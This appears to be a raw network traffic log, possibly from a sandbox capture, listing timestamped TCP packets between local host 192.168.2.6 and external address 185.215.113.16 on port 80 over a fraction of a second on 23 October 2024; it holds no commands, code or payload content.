Oct 23, 2024 17:51:29.663433075 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663444996 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.663476944 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.663603067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663619995 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663635969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663661957 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.676294088 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.712686062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.712790012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.712814093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.712830067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.712846994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.712861061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.712865114 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.712877035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.712893963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.712899923 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.712910891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.712925911 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.712943077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.712966919 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.713119984 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713150024 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713167906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713181973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713200092 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713206053 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.713247061 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.713285923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713301897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713319063 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713329077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.713346958 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713360071 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.713363886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713382959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713397980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713422060 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713423967 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.713438034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713443995 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.713454962 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713471889 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713479042 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.713488102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713504076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713515997 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.713520050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713543892 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.713547945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713562965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713578939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713587046 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.713596106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713613033 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.713617086 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713633060 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713648081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713671923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713671923 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.713692904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713701963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713710070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713717937 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713725090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713732958 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713738918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713747025 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.713754892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713766098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713776112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713779926 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.713783026 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.713804960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.713851929 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.714714050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.714886904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.714919090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.714925051 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.714936018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.714951992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.714967966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.714975119 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.714983940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.714999914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715015888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715028048 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.715043068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715056896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715065956 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.715112925 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.715126991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715142012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715157032 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715179920 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.715181112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715204000 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.715205908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715224981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715240955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715244055 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.715256929 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715271950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715287924 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715296984 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.715305090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715327978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715338945 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.715343952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715347052 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.715363026 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715370893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715378046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715394020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715401888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715409994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715418100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715425968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715435028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715445995 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.715538979 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.715718985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715735912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715760946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715766907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.715778112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715796947 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715814114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715821028 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.715832949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715841055 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.715876102 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.715935946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715960026 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715975046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.715990067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716000080 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.716005087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716028929 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.716031075 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716048956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716063023 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716068983 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.716089010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716104031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716110945 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.716120005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716130018 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.716135979 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716150045 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.716151953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716170073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716181040 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.716186047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716202021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716209888 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.716219902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716233969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716243982 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.716250896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716267109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716272116 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.716284037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716299057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716315985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716320038 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.716331959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716346979 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716351032 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.716363907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716378927 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.716382027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.716428995 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.718561888 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.719280958 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.745914936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.745970011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.745985985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.746017933 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.746037006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.778240919 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778289080 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778305054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778331041 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778346062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778347969 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.778368950 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.778381109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778397083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778424978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778436899 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.778439999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778465986 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.778466940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778484106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778498888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778516054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778521061 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.778532028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778543949 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.778562069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778570890 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.778587103 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778610945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778624058 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.778625011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778641939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778656006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778670073 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.778673887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778691053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778697014 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.778709888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778724909 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.778726101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778743982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.778781891 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.779695034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.779736996 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.779755116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.779771090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.779869080 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.779884100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.779900074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.779906988 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.779907942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.779926062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.779936075 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.779951096 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.779951096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.779968023 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.779983044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.779993057 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.779999971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780014992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780030966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780046940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780056953 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.780056953 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.780076027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780090094 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.780092955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780112982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780128002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780128956 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.780143976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780159950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780169010 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.780178070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780194044 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.780194044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780210972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780225992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780236959 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.780253887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780263901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.780271053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780287027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780302048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780308962 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.780317068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780333042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780349016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780354023 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.780364037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780375004 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.780380964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780396938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780402899 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.780428886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780443907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.780447006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780464888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780483007 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.780484915 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.780529976 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781249046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781301975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781317949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781358957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781374931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781383991 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781400919 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781413078 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781416893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781435013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781444073 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781451941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781467915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781486988 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781506062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781518936 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781522989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781539917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781558037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781563044 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781575918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781590939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781596899 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781609058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781635046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781645060 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781650066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781666994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781667948 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781683922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781699896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781717062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781730890 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781733036 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781747103 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781758070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781769991 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781774998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781790018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781806946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781812906 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781822920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781837940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781855106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781860113 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781871080 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781882048 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781887054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781903982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781908035 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781920910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781949043 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.781963110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781977892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.781994104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.782001019 CEST	49763	80	192.168.2.6	185.215.113.16
